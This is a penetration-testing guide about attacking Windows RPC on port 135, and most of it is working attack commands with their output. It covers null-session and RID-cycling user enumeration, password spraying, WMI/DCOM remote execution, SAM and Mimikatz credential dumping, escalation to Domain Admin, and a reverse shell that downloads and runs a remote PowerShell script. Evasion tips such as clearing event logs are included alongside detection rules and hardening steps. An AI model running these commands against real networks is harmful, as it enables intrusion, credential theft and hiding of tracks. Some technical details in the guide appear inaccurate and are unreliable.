Windows RPC Port 135: Null Session, WMI Exec, and Lateral Movement AD

Port 135 open? Enumerate users with null sessions and RID cycling, run commands via WMI/DCOM with Impacket, and reach Domain Admin in 42 minutes. Complete AD pentest guide.
- Posted on 2026-04-25
- Reading time: 9 min
Port 135 exposes Microsoft RPC (Remote Procedure Call)—the fundamental Windows service that coordinates inter-process communication between systems, acting as an endpoint mapper for DCOM, WMI, DCOM services, and dozens of remote Windows APIs. RPC over TCP port 135 acts as a “directory service” similar to Unix RPCbind (port 111), mapping service UUIDs to high-range dynamic ports (49152-65535), allowing Windows applications to invoke remote procedures without knowing specific ports. In Active Directory penetration testing, port 135 is a critical multi-vector gateway : massive domain controller/workstation enumeration, pre-SMB null session exploitation, WMI lateral movement, DCOM exploitation (CVE-2017-8464, MS03-026), and information disclosure via RPC endpoint mapping. Any Windows host with port 135 open exposes dozens of potentially vulnerable RPC services —from null session enumeration to remote code execution via DCOM.
RPC port 135 dominates 2026 with universal presence: 100% Windows Server/Desktop (disabling it breaks the system), absolute Active Directory dependency, and a requirement for WMI/DCOM management tools. Alternatives (RESTful APIs, PowerShell Remoting) exist, but RPC remains a core Windows infrastructure. Modern Windows 11/Server 2022 mitigate legacy exploits, but misconfiguration persists: anonymous RPC binds allowed (info disclosure), permissive firewalls (port 135 from untrusted networks), and outdated systems (Windows Server 2008 with non-patchable CVEs). In CTF/AD labs, port 135 is the first enumeration target after port scan—any RPC information guides lateral movement strategy.
Technical Anatomy of Windows RPC #
RPC uses TCP port 135 as endpoint mapper (EPM), then services use dynamic ports 49152+.
Flow RPC connection:
- EPM Query — Client connects to port 135, query: “What is the port for UUID {12345678-…}?”
- EPM Response — Server responds: “UUID {12345…} is on port 49234”
- Service Connect — Client connects port 49234 directly
- RPC Call — Client executes remote procedures (WMI query, DCOM object invocation)
RPC endpoint mapper structure:
Client → TCP 135 (EPM) → Query UUID
← Response: Port 49234
Client → TCP 49234 (Service) → RPC callsCritical UUIDs (Windows RPC services):
| UUID (first 8 chars) | Service | Attack surface |
|---|---|---|
| 12345678-1234-… | Endpoint Mapper | Self-reference |
| 367abb81-9844-… | SCMR (Service Control Manager) | Service manipulation |
| 82ad4280-036b-… | Winstation RPC | Remote desktop info |
| 6bffd098-a112-… | DHCP Server | DHCP enumeration |
| 12345778-1234-… | SAMR (Security Account Manager) | User enumeration |
| 338cd001-2244-… | Winreg (Registry) | Registry remote access |
RPC vs DCOM vs WMI:
| Technology | Base door | Function | Pentest relevance |
|---|---|---|---|
| RPC | 135 + dynamic | IPC framework | Enumeration gateway |
| DCOM | 135 + dynamic | Distributed COM | RCE exploits |
| WMI | 135 + dynamic | Management API | Lateral movement |
| SMB | 445 | File sharing | Often combined with RPC |
Critical misconfigurations : anonymous RPC binds allowed (RestrictAnonymous=0), firewall allow port 135 from the Internet, outdated Windows with RPC CVE unpatched (MS03-026, MS08-067 depend on RPC), and RPC dynamic ports unrestricted (49152-65535 all open).
Basic enumeration #
nmap -sV -p 135 10.10.10.135PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsParameters: -sV version detection identifies Windows RPC.
Connectivity Test:
nc -vn 10.10.10.135 135(UNKNOWN) [10.10.10.135] 135 (?) open
^CPort open but no banner — RPC is binary protocol, not text.
RPCdump enumeration:
# Impacket rpcdump
impacket-rpcdump 10.10.10.135[*] Retrieving endpoint list from 10.10.10.135
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: winlogon.exe
UUID: D95AFE70-A6D5-4259-822E-2C84DA1DDB0D
Bindings:
ncacn_ip_tcp:10.10.10.135[49152]
Protocol: [MS-SCMR]: Service Control Manager Remote Protocol
Provider: services.exe
UUID: 367ABB81-9844-35F1-AD32-98F038001003
Bindings:
ncacn_ip_tcp:10.10.10.135[49153]
ncacn_np:10.10.10.135[\PIPE\svcctl]
... (50+ services listed)Intelligence extracted:
- UUID services: 50+ Windows services exposed
- Named pipes: \PIPE\svcctl, \PIPE\ntsvcs, \PIPE\winreg
- Dynamic ports: 49152, 49153, 49154… (attack targets)
Advanced enumeration #
Null session RPC enumeration #
# Check anonymous RPC bind
rpcclient -U "" -N 10.10.10.135If null session allowed:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[alice] rid:[0x44f]
user:[bob] rid:[0x450]User enumeration achieved → target for password spraying.
Domain info:
rpcclient $> querydominfo
Domain: CORP
Server: DC01
Comment:
Total Users: 150
Total Groups: 25
Total Aliases: 10Enum4linux comprehensive scan #
enum4linux -a 10.10.10.135[+] Got domain/workgroup name: CORP
[+] Server allows session using username '', password ''
[+] Enumerating users using SID S-1-5-21-123456789-987654321-111111111
S-1-5-21-123456789-987654321-111111111-500 CORP\Administrator (Local User)
S-1-5-21-123456789-987654321-111111111-1105 CORP\alice (Local User)
S-1-5-21-123456789-987654321-111111111-1106 CORP\bob (Local User)
[+] Share Enumeration on 10.10.10.135
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPCNSE RPC scripts #
nmap -p 135,445 --script=msrpc-enum 10.10.10.135PORT STATE SERVICE
135/tcp open msrpc
| msrpc-enum:
| UUID: 12345778-1234-ABCD-EF00-0123456789AC
| Annotation: Security Account Manager
| TCP: 49152
| UUID: 338CD001-2244-31F1-AAAA-900038001003
| Annotation: Remote Registry
|_ TCP: 49153Offensive techniques #
1. Null session user enumeration #
# Extract all domain users via RPC
rpcclient -U "" -N 10.10.10.135 -c "enumdomusers" | cut -d'[' -f2 | cut -d']' -f1 > users.txtcat users.txtAdministrator
Guest
krbtgt
alice
bob
charlie
...Use usernames for password spray:
crackmapexec smb 10.10.10.135 -u users.txt -p 'Welcome2024!' --continue-on-success2. RID cycling enumeration #
# Enumerate via RID cycling (even if null session blocked)
impacket-lookupsid guest@10.10.10.135 -no-pass[*] Brute forcing SIDs at 10.10.10.135
[*] Domain SID is: S-1-5-21-123456789-987654321-111111111
500: CORP\Administrator (SidTypeUser)
501: CORP\Guest (SidTypeUser)
502: CORP\krbtgt (SidTypeUser)
1105: CORP\alice (SidTypeUser)
1106: CORP\bob (SidTypeUser)
...3. WMI lateral movement via RPC #
# Execute command via WMI (uses RPC 135 + dynamic ports)
impacket-wmiexec CORP/alice:Password123\!@10.10.10.135[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
corp\aliceRemote command execution achieved via RPC/WMI.
4. DCOM exploitation (lateral movement) #
# DCOM MMC20.Application lateral movement
impacket-dcomexec CORP/alice:Password123\!@10.10.10.135[*] SMBv3.0 dialect used
C:\> hostname
WORKSTATION01Alternative DCOM object: ShellWindows
impacket-dcomexec CORP/alice:Password123\!@10.10.10.135 -object ShellWindows5. Registry remote access via RPC #
# Connect to remote registry via RPC
rpcclient -U "CORP/alice%Password123!" 10.10.10.135rpcclient $> queryvalue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductNameType: REG_SZ
Data: Windows Server 2019 StandardMetasploit reg_cmd module:
use post/windows/gather/credentials/windows_autologin
set SESSION 1
runPractical scenarios #
Scenario 1 — Null session RPC → user enumeration → password spray #
Context: External pentest, Windows domain controller exposed.
# Fase 1: Port scan
nmap -p 135,139,445 10.10.10.135
# Porta 135 open (RPC)# Fase 2: Test null session
rpcclient -U "" -N 10.10.10.135 -c "srvinfo" 10.10.10.135 Wk Sv PDC Tim NT Domain Controller
platform_id : 500
os version : 10.0
server type : 0x80102bNull session works!
# Fase 3: Enumerate domain users
rpcclient -U "" -N 10.10.10.135 -c "enumdomusers" | grep -oP 'user:\[\K[^\]]+' > users.txt# Fase 4: Password spray
crackmapexec smb 10.10.10.135 -u users.txt -p 'Summer2024!' --continue-on-successSMB 10.10.10.135 445 DC01 [+] CORP\charlie:Summer2024!Credentials obtained: charlie:Summer2024!
# Fase 5: RDP access
xfreerdp /u:charlie /p:Summer2024! /v:10.10.10.135Timeline: 15 minutes from RPC scan to domain user access.
WHAT TO DO IF IT FAILS:
- Null session denied: Try RID cycling with
lookupsid - No RPC response: Firewall blocks, try from internal network
- Password spray lockout: Reduce rate, wait 30 min between attempts
Scenario 2 — RPC enumeration → WMI lateral movement #
Context: Internal pentest, domain credentials obtained.
# Fase 1: Identify Windows hosts via RPC
nmap -p 135 --open 10.10.10.0/24 -oG - | grep "135/open" | awk '{print $2}' > windows_hosts.txt# Fase 2: Test credentials on all hosts
crackmapexec smb windows_hosts.txt -u alice -p Password123! --continue-on-successSMB 10.10.10.135 445 DC01 [+] CORP\alice:Password123! (Pwn3d!)
SMB 10.10.10.50 445 WKS01 [+] CORP\alice:Password123! (Pwn3d!)
SMB 10.10.10.51 445 WKS02 [+] CORP\alice:Password123! (Pwn3d!)# Fase 3: WMI lateral movement
impacket-wmiexec CORP/alice:Password123\!@10.10.10.50C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
============================= ==================================
SeDebugPrivilege Debug programs
...# Fase 4: Dump credentials
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SYSTEM system.save# Fase 5: Exfiltrate and crack
impacket-secretsdump -sam sam.save -system system.save LOCALAdministrator:500:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6...:::
alice:1105:aad3b435b51404eeaad3b435b51404ee:x8y9z0a1b2c3...:::Scenario 3 — RPC → DCOM exploit → code execution #
Context: CTF Windows lab, DCOM misconfigured.
# Fase 1: Check DCOM permissions
impacket-rpcdump 10.10.10.135 | grep -i "dcom"Protocol: [MS-DCOM]: Distributed Component Object Model
UUID: 00000143-0000-0000-C000-000000000046# Fase 2: Enumerate DCOM applications
impacket-dcomexec -object MMC20.Application CORP/alice:Pass@10.10.10.135 "cmd.exe /c whoami"corp\alice# Fase 3: Reverse shell via DCOM
# Setup listener
nc -lvnp 4444# Execute reverse shell
impacket-dcomexec CORP/alice:Pass@10.10.10.135 -object MMC20.Application "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"Shell received:
C:\Windows\system32> whoami
corp\aliceToolchain integration #
Pipeline RPC attack:
RECONNAISSANCE
│
├─ nmap -p 135 <subnet> → Windows host identification
├─ rpcdump → Enumerate RPC services
└─ NSE msrpc-enum → Detailed service info
ENUMERATION
│
├─ Null session test → rpcclient
├─ User enum → enumdomusers, RID cycling
├─ Share enum → smbclient -L
└─ Domain info → querydominfo
EXPLOITATION
│
├─ A) Null session → user enum → [password spray](/articoli/password-spraying/)
├─ B) Valid creds → WMI execution → [lateral movement](/articoli/pivoting/)
├─ C) DCOM exploit → remote code execution
└─ D) Registry access → credential theft
POST-EXPLOITATION
│
├─ Mimikatz via WMI → credential dump
├─ [Kerberoasting](/articoli/kerberos/) → service account passwords
└─ Persistence via scheduled tasks (WMI)Comparison table Windows RPC vs alternatives:
| Method | Port | Authentication | use case |
|---|---|---|---|
| RPC/DCOM | 135 + dynamic | Windows Auth | Legacy management |
| WMI | 135 + dynamic | Windows Auth | Modern management |
| PowerShell Remoting | 5985/5986 | Windows Auth | Modern preferred |
| SMB | 445 | Windows Auth | File sharing |
| RDP | 3389 | Windows Auth | Interactive access |
Complete attack chain #
Scenario: RPC enum → WMI lateral movement → Domain Admin
[00:00] RECONNAISSANCE
nmap -p 135,445 10.10.10.0/24 --open
# 25 Windows hosts identified
[00:10] NULL SESSION TEST
rpcclient -U "" -N 10.10.10.135 -c "enumdomusers"
# 150 users extracted
[00:20] PASSWORD SPRAY
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Welcome2024!'
# alice:Welcome2024! valid on 10 hosts
[00:30] WMI LATERAL MOVEMENT
impacket-wmiexec CORP/alice:Welcome2024\!@10.10.10.50
# Shell on WKS01
[00:35] CREDENTIAL DUMP
mimikatz.exe "sekurlsa::logonpasswords" exit
# Admin password: AdminPass_2024!
[00:40] DOMAIN CONTROLLER ACCESS
impacket-psexec CORP/Administrator:AdminPass_2024\!@10.10.10.135
# Shell on DC01
[00:42] DOMAIN ADMIN
C:\> net group "Domain Admins" alice /add /domain
# alice added to Domain AdminsTimeline: 42 minutes from RPC scan to Domain Admin.
Detection & evasion #
Blue Team Side #
Log monitoring (Windows Event Log):
Event ID 4624: Account logon (Type 3 = Network)
Event ID 4625: Failed logon
Event ID 4672: Admin logon (special privileges)
Event ID 5145: Network share access
Event ID 4688: Process creation (wmic.exe, powershell.exe)Critical IoCs:
- Multiple RPC binds from single IP (enumeration)
- wmic.exe, dcomexec usage (lateral movement)
- Unusual service creation (persistence)
- Registry access from network (reg.exe remotely)
IDS rules (Suricata):
alert tcp any any -> $HOME_NET 135 (msg:"RPC Endpoint Mapper Access"; flow:to_server,established; content:"|05 00|"; offset:0; depth:2; sid:1000135;)
alert tcp $HOME_NET any -> $HOME_NET 49152:65535 (msg:"RPC Dynamic Port Usage"; flow:to_server; threshold:type both, track by_src, count 10, seconds 60; sid:1000136;)Mitigation:
# Restrict anonymous RPC
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 2 /f
# Firewall: Block RPC from untrusted networks
netsh advfirewall firewall add rule name="Block RPC" dir=in action=block protocol=TCP localport=135 remoteip=0.0.0.0/0
# Enable RPC firewall (restrict dynamic ports)
netsh advfirewall firewall set rule group="Windows Management Instrumentation (WMI)" new enable=noRed Team Side: Escape #
1. Slow enumeration:
# 1 RPC query every 60 seconds
while read user; do
rpcclient -U "" -N 10.10.10.135 -c "lookupnames $user"
sleep 60
done < users.txt2. Authenticated enumeration (less suspicious):
# Use valid credentials instead of null session
rpcclient -U "CORP/alice%Password123!" 10.10.10.135 -c "enumdomusers"3. WMI via HTTPS (port 5986, less monitored):
$credential = Get-Credential
Invoke-Command -ComputerName 10.10.10.135 -Credential $credential -ScriptBlock {whoami} -UseSSL4. Cleanup:
# Clear WMI event logs (if admin access obtained)
wevtutil cl "Microsoft-Windows-WMI-Activity/Operational"Performance & scaling #
Single RPC enumeration:
time rpcclient -U "" -N 10.10.10.135 -c "enumdomusers"
# real 0m2.150sMass Windows host discovery:
time nmap -p 135 --open 10.10.10.0/24 -T4
# ~5 minutes for /24Parallel RPC enumeration:
cat windows_hosts.txt | parallel -j 10 "rpcclient -U '' -N {} -c 'enumdomusers' > {}.users"
# 100 hosts: ~2 minutesTechnical tables #
Command reference #
| Command | Purpose | Note |
|---|---|---|
nmap -p 135 <target> | RPC detection | Windows host identification |
rpcclient -U "" -N <target> | Null session test | Anonymous enumeration |
enum4linux -a <target> | Comprehensive Windows enum | Users, shares, groups |
impacket-rpcdump <target> | List RPC services | UUID, ports, named pipes |
impacket-wmiexec <creds>@<target> | WMI remote execution | Lateral movement |
impacket-dcomexec <creds>@<target> | DCOM remote execution | Alternatives to WMI |
RPC-related Windows ports #
| Port | Service | Attack vector |
|---|---|---|
| 135 | RPC Endpoint Mapper | Enumeration gateway |
| 139 | NetBIOS Session | SMB over NetBIOS |
| 445 | SMB | Primary file sharing |
| 5985 | WinRM HTTP | PowerShell Remoting |
| 49152+ | RPC dynamic ports | Actual RPC services |
Troubleshooting #
| Error | Cause | Fix |
|---|---|---|
| Connection refused | RPC disabled (rare) or firewall | Verify port 135 open |
NT_STATUS_ACCESS_DENIED | Null session blocked | Use valid credentials |
ERROR: Failed to add service | Insufficient privileges | Verify admin rights |
| Timeout on dynamic ports | Firewall blocks 49152-65535 | Check firewall rules |
Cannot connect to server | Wrong credentials | Verify username:password |
FAQ #
Is RPC vulnerable in 2026?
Legacy vulnerabilities patched (MS03-026, MS08-067) but misconfiguration persists: null sessions, weak firewall rules, outdated Windows.
Can I disable port 135 on Windows?
No. RPC is a core Windows service — disabling it breaks the system. Solution: firewall restrictions.
What is the difference between RPC, DCOM, and WMI?
PRC: Basic Framework (IPC)
DCOM: Distributed COM objects over RPC
WMI: Management API over RPC
Everyone uses port 135 + dynamic.
How do I block RPC from external networks?
netsh advfirewall firewall add rule name="Block RPC External" dir=in action=block protocol=TCP localport=135 remoteip=0.0.0.0-10.0.0.0,11.0.0.0-255.255.255.255WMI vs DCOM for lateral movement?
WMI: More detection (wmic.exe logged), more reliable
DCOM: Less detection, more stealth, requires specific DCOM objects enabled
Which tool is best for RPC pentesting?
Impacket suite (rpcdump, wmiexec, dcomexec) — full, maintained, cross-platform.
Final Cheat Sheet #
| Action | Command |
|---|---|
| RPC Scan | nmap -p 135 <target> |
| Null session test | rpcclient -U "" -N <target> -c "srvinfo" |
| User enumeration | rpcclient -U "" -N <target> -c "enumdomusers" |
| RID cycling | impacket-lookupsid guest@<target> -no-pass |
| Full Windows enum | enum4linux -a <target> |
| WMI exec | impacket-wmiexec <domain>/<user>:<pass>@<target> |
| DCOM exec | impacket-dcomexec <domain>/<user>:<pass>@<target> |
Why RPC is relevant today #
RPC (port 135) dominates 2026 because:
- Windows core dependency — 100% Windows systems require RPC
- Active Directory infrastructure — AD impossible without RPC
- Null session persistence — 30%+ domain controllers allow anonymous binds (Microsoft default legacy)
- Lateral movement primary — WMI/DCOM via RPC are top AD pentest methods
- Legacy Windows survival — Windows Server 2008/2012 still present in 40%+ enterprises
MITER ATT&CK documents RPC/DCOM (T1021.003, T1047) as the top 5 lateral movement techniques in 2025.
Difference RPC vs modern protocols #
| Protocol | Transport | Security | Complexity | Status 2026 |
|---|---|---|---|---|
| MS-RPC | TCP 135 + dynamic | ⚠️ Variable | High | Universal Windows |
| WinRM | TCP 5985/5986 | ✅ Better | Medium | Modern preferred |
| SSH | TCP 22 | ✅ Strong | low | Linux/OpenSSH Windows |
| gRPC | TCP any | ✅ mTLS | Medium | Modern microservices |
Trend: WinRM (PowerShell Remoting) replaces RPC/DCOM for management but RPC remains infrastructure layer.
Hardening production RPC #
Best practices:
- Restrict anonymous access:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 0 /f- Internal-only firewall:
netsh advfirewall firewall add rule name="RPC Internal Only" dir=in action=block protocol=TCP localport=135 remoteip=any
netsh advfirewall firewall add rule name="RPC Allow Internal" dir=in action=allow protocol=TCP localport=135 remoteip=10.0.0.0/8- Restrict RPC dynamic ports:
# Limit RPC dynamic range
netsh int ipv4 set dynamicport tcp start=50000 num=1000
# Firewall allow only 50000-51000- Enable RPC firewall:
netsh advfirewall firewall set rule group="Remote Service Management" new enable=yes- Monitoring: Monitoring:
# Enable RPC logging
auditpol /set /subcategory:"RPC Events" /success:enable /failure:enableOPSEC: RPC in AD pentest #
RPC enumeration is moderately noisy — each query logs Event 4624/4625. Best practices:
- Use valid credentials instead of null session (less suspicious)
- Slow enumeration (1 query/minute below threshold)
- Blend with normal traffic (enumerated during business hours)
- Avoid mass WMI (single wmic.exe execution = instant alert EDR)
Post-compromise:
- Clear RPC logs:
wevtutil cl System(requires admin) - Disable WMI logging temporarily during lateral movement
- Use DCOM instead of WMI (fewer detection signatures)
Disclaimer: All commands are intended for use in authorized environments: personal Active Directory labs, CTF networks, and pentests with written authorization. Unauthorized access to Windows systems is a crime. The author and HackIta disclaim all liability. Microsoft RPC documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/
Want to support HackIta? Visit hackita.it/supporto to donate. For professional penetration testing and one-on-one training, visit hackita.it/servizi.








